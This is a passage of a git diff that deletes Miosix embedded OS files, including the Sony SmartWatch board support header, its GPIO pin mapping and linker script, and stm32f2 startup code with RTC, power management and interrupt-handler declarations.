BCD(d,0,time.tm_mday); - BCD(d,8,time.tm_mon+1); //+1 as tm_mon's range is 0..11 - //RTC has only two digits for year, and struct tm counts year from 1900 - BCD(d,16,time.tm_year-100); - d|=wdu<<13; - #undef BCD - - //Prevent frequency changes/entering deep sleep while setting time - Lock l(PowerManagement::instance()); - - //These two values enable RTC write access - RTC->WPR=0xca; - RTC->WPR=0x53; - RTC->ISR |= RTC_ISR_INIT; - while((RTC->ISR & RTC_ISR_INITF)==0) ; //Wait to enter writable mode - RTC->TR=t; - RTC->DR=d; - RTC->ISR &= ~RTC_ISR_INIT; -} - -bool Rtc::notSetYet() const -{ - return (RTC->ISR & RTC_ISR_INITS)==0; -} - -Rtc::Rtc() -{ - { - FastInterruptDisableLock dLock; - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - PWR->CR |= PWR_CR_DBP; //Enable access to RTC registers - - //Without this reset, the LSEON bit is ignored, and code hangs at while - //However, this resets the RTC time. An alternative is to write many - //times the LSEON, RTCEN and RTCSEL_0 bits until they're set, but sadly - //RTC time is still not kept. TODO: fix this is possible - RCC->BDCR=RCC_BDCR_BDRST; - RCC->BDCR=0; - - RCC->BDCR=RCC_BDCR_LSEON //External 32KHz oscillator enabled - | RCC_BDCR_RTCEN //RTC enabled - | RCC_BDCR_RTCSEL_0; //Select LSE as clock source for RTC - } - - while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/bsp_impl.h deleted file mode 100644 index 94a493a85..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,348 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "hwmapping.h" -#include "drivers/stm32_hardware_rng.h" -#include "drivers/stm32f2_f4_i2c.h" -#include "kernel/sync.h" -#include -//#include - -namespace miosix { - -//No LEDs in this board -inline void ledOn() {} -inline void ledOff() {} - -/** - * You must lock this mutex before accessing the I2C1Master directly - * on this board, as there are multiple threads that access the I2C for - * different purposes (touchscreen, accelerometer, PMU). If you don't do it, - * your application will crash sooner or later. - */ -FastMutex& i2cMutex(); - -enum { - PMU_I2C_ADDRESS=0x90, ///< I2C Address of the PMU - TOUCH_I2C_ADDRESS=0x0a,///< I2C Address of the touchscreen controller - ACCEL_I2C_ADDRESS=0x30 ///< I2C Address of the accelerometer -}; - -/** - * Helper function to write a register of an I2C device. Don't forget to lock - * i2cMutex before calling this. - * \param i2c the I2C driver - * \param dev device address (PMU_I2C_ADDRESS) - * \param reg register address - * \param data byte to write - * \return true on success, false on failure - */ -bool i2cWriteReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, - unsigned char data); - -/** - * Helper function to write a register of an I2C device. Don't forget to lock - * i2cMutex before calling this. - * \param i2c the I2C driver - * \param dev device address (PMU_I2C_ADDRESS) - * \param reg register address - * \param data byte to write - * \return true on success, false on failure - */ -bool i2cReadReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, - unsigned char& data); - -/** - * Vibrates the motor for x times, to allow to identify an error - */ -void errorMarker(int x); - -/** - * Vibrates the motor for x times, to allow to identify an error, - * can be called with interrupts disabled - */ -void IRQerrorMarker(int x); - -/** - * This class contains all what regards power management on the watch. - * The class can be safely used by multiple threads concurrently. - */ -class PowerManagement -{ -public: - /** - * \return an instance of the power management class (singleton) - */ - static PowerManagement& instance(); - - /** - * \return true if the USB cable is connected - */ - bool isUsbConnected() const; - - /** - * \return true if the battery is currently charging. For this to happen, - * charging must be allowed, the USB cable must be connected, and the - * battery must not be fully charged. - */ - bool isCharging(); - - /** - * \return the battery charge status as a number in the 0..100 range. - * The reading takes ~5ms - */ - int getBatteryStatus(); - - /** - * \return the battery voltage, in millivolts. So 3700 means 3.7V. - * The reading takes ~5ms - */ - int getBatteryVoltage(); - - /** - * Possible values for the core frequency, to save power - */ - enum CoreFrequency - { - FREQ_120MHz=120, ///< Default value is 120MHz - FREQ_26MHz=26 ///< 26MHz, to save power - }; - - /** - * Allows to change the core frequency to reduce power consumption. - * Miosix by default boots at the highest frequency (120MHz). - * According to the datasheet, the microcontroller current consumption is - * this: (the difference between minimum and maximum depend on the number - * of peripherals that are emabled) - * | Run mode | Sleep mode | - * | min | max | min | max | - * 120MHz | 21mA | 49mA | 8mA | 38mA | - * 26MHz | 5mA | 11mA | 3mA | 8mA | - * - * For greater power savings consider entering deep sleep as well. - * - * Note that changing the frequency takes a significant amount of time, and - * that if you are designing a multithreaded application, you have to make - * sure all your threads are in an interruptible point. For example, if - * you call this function while a thread is transfering data through I2C, - * it may cause problems. - */ - void setCoreFrequency(CoreFrequency cf); - - /** - * \return the current core frequency - */ - CoreFrequency getCoreFrequency() const { return coreFreq; } - - /** - * Enters deep sleep. ST calls this mode "Stop". It completely turns off the - * microcontroller and its peripherals, minus the RTC. Power gating is not - * applied, so the CPU registers, RAM and peripheral contents are preserved. - * The current consumption goes down to 300uA, and with the 110mAh battery - * in the sony watch, it would last 366 hours in this state. The packaging - * of the watch says that the standby time is 330 hours, so this is clearly - * how they did it. - * - * There are a few words of warning for using this mode, though - * - Entering/exiting deep sleep may take a significant time, so the sleep - * time may not be precise down to the last millisecond. - * - You have to turn off all other stuff external to the microcontroller - * that draw power to actually reduce the consumption to 300uA. If you - * leave the display ON, or the accelerometer, the consumption will be - * higher. The Driver for the battery voltage measurement and light sensor - * already turn off the enable pin so don't worry. - * - If you are designing a multithreaded application, you have to make - * sure all your threads are in an interruptible point. For example, if - * you call this function while a thread is transfering data through I2C, - * it may cause problems. - * - Also, the BSP needs to be optimized for low power, and this is a TODO. - * Even leaving a single GPIO floating can significantly increase the - * power consumption. Normally, I would do that using a multimeter to - * measure current and an oscilloscope to probe around, but I don't want - * to open my watch, and there is no schematic, which makes things harder. - * For this reason, I can't guarantee that the current will be as low as - * 300uA. - * - Also, for now I've implemented only timed wakeup. What will be - * interesting is to also have event wakeup. For example, wake up on - * accelerometer tapping detected, or on RTC alarms that can be set at a - * given date and time. - * - * \param ms number of milliseconds to stay in deep sleep. Maximum is 30s - */ - void goDeepSleep(int ms); - - /** - * Allows to configure if we should exit the deep sleep earlier than the - * timeout if the button is pressed (default is false) - * \param wake if true, pushing the button will make goDeepSleep() return - * before its timeout - */ - void setWakeOnButton(bool wake) { wakeOnButton=wake; } - - /** - * \return true if wake on button is set - */ - bool getWakeOnButton() const { return wakeOnButton; } - - /** - * Locking the power management allows to access hardware operation without - * the risk of a frequency change in the middle, or entering deep sleep. - * Since the power management exposes the lock() and unlock() member - * functions (i.e, the lockable concept), it can be treated as a mutex: - * \code - * { - * Lock l(PowerManagement::instance()); - * //Do something without the risk of being interrupted by a frequency - * //change - * } - * Note that you should eventually release the mutex, or calls to - * setCoreFrequency() and goDeepSleep() will never return. Also, if - * you are going to lock both the power management and the i2c mutex, make - * sure to always lock ithe i2c mutex after the power management, or - * a deadlock may occur. - * - * \endcode - */ - void lock() { powerManagementMutex.lock(); } - - /** - * Unlock the power management, allowing frequency changes and entering deep - * sleep again - */ - void unlock() { powerManagementMutex.unlock(); } - -private: - PowerManagement(const PowerManagement&); - PowerManagement& operator=(const PowerManagement&); - - /** - * Constructor - */ - PowerManagement(); - - /** - * Reconfigure the system clock after the microcontroller has been in deep - * sleep. Can only be called with interrupts disabled. - */ - void IRQsetSystemClock(); - - /** - * Set clock prescalers based on clock frequency. - * Can only be called with interrupts disabled. - */ - void IRQsetPrescalers(); - - /** - * Set core frequency. Can only be called with interrupts disabled. - */ - void IRQsetCoreFreq(); - - I2C1Master *i2c; - bool chargingAllowed; - bool wakeOnButton; - CoreFrequency coreFreq; - FastMutex powerManagementMutex; -// std::list > notifier; -}; - -/** - * This class allows to retrieve the light value - * The class can be safely used by multiple threads concurrently. - */ -class LightSensor -{ -public: - /** - * \return an instance of the power management class (singleton) - */ - static LightSensor& instance(); - - /** - * \return the light value. The reading takes ~5ms. Minimum is 0, - * maximum is TBD - */ - int read(); - -private: - LightSensor(const LightSensor&); - LightSensor& operator=(const LightSensor&); - - /** - * Constructor - */ - LightSensor(); -}; - -/** - * This class allows to retrieve the time - * The class can be safely used by multiple threads concurrently. - */ -class Rtc -{ -public: - /** - * \return an instance of the power management class (singleton) - */ - static Rtc& instance(); - - /** - * \return the current time - */ - struct tm getTime(); - - /** - * \param time new time - */ - void setTime(struct tm time); - - /** - * \return true if the time hasn't been set yet - */ - bool notSetYet() const; - -private: - Rtc(const Rtc&); - Rtc& operator=(const Rtc&); - - /** - * Constructor - */ - Rtc(); -}; - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/hwmapping.h deleted file mode 100644 index e9d6fa282..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,129 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -/* - * The pin names were taken from underverk's SmartWatch_Toolchain/src/system.c - * They were put in a comment saying "Sony's name". Probably the one who wrote - * that file got access to much more documentation that the one that's publicly - * available. - */ - -// The OLED display is an LD7131 and has its own dedicated SPI bus -namespace oled { -typedef Gpio OLED_nSS_Pin; //Sony calls it SPI1_nSS_Pin -typedef Gpio OLED_SCK_Pin; //Sony calls it SPI1_SCK_Pin -typedef Gpio OLED_MOSI_Pin; //Sony calls it SPI1_MOSI_Pin -typedef Gpio OLED_A0_Pin; -typedef Gpio OLED_Reset_Pin; -typedef Gpio OLED_V_ENABLE_Pin; //Enables OLED panel 16V supply -} - -// The touch controller is a CY8C20236 is connected to the I2C bus, address 0x0a -namespace touch { -typedef Gpio Touch_Reset_Pin; -typedef Gpio TOUCH_WKUP_INT_Pin; -} - -// There is a PMU chip, unknown part, connected to the I2C bus, address 0x90 -namespace power { -typedef Gpio BATT_V_ON_Pin; //Enables battery voltage sensor -typedef Gpio BAT_V_Pin; //Analog input -typedef Gpio ENABLE_LIGHT_SENSOR_Pin; //Enables light sensor -typedef Gpio LIGHT_SENSOR_ANALOG_OUT_Pin; //Analog input -typedef Gpio ENABLE_2V8_Pin; //Is in some way releted to the OLED -//Looks connected to the PMU, the most likely scenario is this: asserting it low -//when the USB is not connected disables the PMU voltage regulator feeding the -//microcontroller, therefore shutting down the watch. -typedef Gpio HoldPower_Pin; -} - -// The accelerometer is an LIS3DH, connected to the I2C bus, address 0x30 -typedef Gpio ACCELEROMETER_INT_Pin; - -// The Touch controller, PMU and accelerometer are connected to the I2C bus -namespace i2c { -typedef Gpio I2C_SCL_Pin; -typedef Gpio I2C_SDA_Pin; -} - -// Vibrator motor -typedef Gpio BUZER_PWM_Pin; - -// The power button. Someone on stackoverflow mantions that if you push it for -// 10 seconds when the USB cable is disconnected, the watch shutdowns no matter -// what the software does (so, even if it is locked up). This means it's -// probably connected to the PMU as well. -typedef Gpio POWER_BTN_PRESS_Pin; //Goes high when pressed FIXME: check - -// USB connections -namespace usb { -typedef Gpio USB5V_Detected_Pin; //Goes high when USB connected FIXME: check -typedef Gpio USB_DM_Pin; -typedef Gpio USB_DP_Pin; -} - -// Other than that it's an STLC2690, little is known about the bluetooth chip -namespace bluetooth { -//FIXME: which one is the right one? -typedef Gpio Reset_BT2_Pin; //According to sony's website -typedef Gpio Reset_BT_Pin; //According to underverk's SmartWatch_Toolchain - -typedef Gpio BT_CLK_REQ_Pin; -typedef Gpio HOST_WAKE_UP_Pin; -typedef Gpio Enable_1V8_BT_Power_Pin; -typedef Gpio BT_nSS_Pin; //Sony calls it SPI3_nSS_Pin -typedef Gpio BT_SCK_Pin; //Sony calls it SPI3_SCK_Pin -typedef Gpio BT_MISO_Pin; //Sony calls it SPI3_MISO_Pin -typedef Gpio BT_MOSI_Pin; //Sony calls it SPI3_MOSI_Pin -} - -// The mistery pins mentioned in system.c, but never used -namespace unknown { -typedef Gpio WKUP_Pin; -//Stands for main clock out, a feature of the STM32 to output an internal clock -//(either the crystal one, or the PLL one). Ususally is used to clock some -//other chip saving a clock crystal in the BOM. Maybe it goes to the touchscreen -//controller? Who knows... -typedef Gpio MCO1_Pin; -typedef Gpio Connect_USB_Pin; -typedef Gpio POWER_3V3_ON_1V8_OFF_Pin; -typedef Gpio SPI2_nSS_Pin; //Is there yet another mistery chip -typedef Gpio SPI2_SCK_Pin; //connected to this SPI? I don't know -typedef Gpio SPI2_MISO_Pin; -typedef Gpio SPI2_MOSI_Pin; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/stm32_1M+128k_rom.ld b/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/stm32_1M+128k_rom.ld deleted file mode 100644 index 34220fdfc..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/stm32_1M+128k_rom.ld +++ /dev/null @@ -1,202 +0,0 @@ -/* - * C++ enabled linker script for Sony smartwatch - * Developed by Terraneo Federico - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -/* - * Taken from underverk's SmartWatch_Toolchain. Doesn't explain why the first - * 3K of RAM can't be used. TODO: try to start from 0x20000000 and see what - * happens. - */ -_ram_base = 0x20000c00; - -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = _ram_base + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* - * End of the heap. Taken from underverk's SmartWatch_Toolchain. Doesn't explain - * why the last 2K of RAM can't be used. TODO: try 0x20020000 and see what - * happens. - */ -_heap_end = 0x2001f800; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - /* - * Taken from underverk's SmartWatch_Toolchain. The DFU bootloader sits - * between 0x08000000 and 0x0800c000, that's 48K. Don't know why the code - * can't be placed directly @ 0x0800c000, but by unpacking the original - * firmware SmartWatch.dfu resulted in five different binary images: - * Base addr | size | - * ------------+---------+-------------------------------------------------- - * 0x0800c000 | 0x5f00 | Seems the bluetooth driver, no interrupt table, - * | | and funnily first 16K are zeros, probably - * | | compiled as non-PIC code at 64K from flash base. - * 0x08020000 | 0x1b578 | Is a firmware as it starts with an interrupt - * | | table, don't know what it does. - * 0x0803fffc | 0x188 | Discarding the first 4 bytes, the rest starts - * | | @ 0x08040000 and is an interrupt table. - * | | Bootloader jumps at this address. The interrupt - * | | points to the next firmware image. - * 0x08040200 | 0xb02b8 | First part is just pictures data, but there's - * | | code at the end, and the lone interrupt table - * | | points into it. - * 0x080ffffc | 0x4 | Some magic number of some sort. - */ - flash(rx) : ORIGIN = 0x08040000, LENGTH = 768K - - /* - * Note, the ram starts at _ram_base but it is necessary to add the size - * of the main stack. - */ - ram(wx) : ORIGIN = 0x20000e00, LENGTH = 123K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/core/stage_1_boot.cpp deleted file mode 100644 index 4fe35d1d6..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/core/stage_1_boot.cpp +++ /dev/null @@ -1,419 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include "interfaces/gpio.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f2 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - #ifndef __CODE_IN_XRAM - memcpy(data, etext, edata-data); - #else //__CODE_IN_XRAM - (void)etext; //Avoid unused variable warning - (void)data; - (void)edata; - #endif //__CODE_IN_XRAM - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x64000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x64000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x64000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - // Force PG10 high to ensure the display does not receive any spurious - // commands until it is correctly setup. Not doing this causes random - // hard-to-reproduce timing-dependent display glitches. - miosix::Gpio::speed(miosix::Speed::VERY_HIGH); - miosix::Gpio::high(); - miosix::Gpio::mode(miosix::Mode::OUTPUT); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void 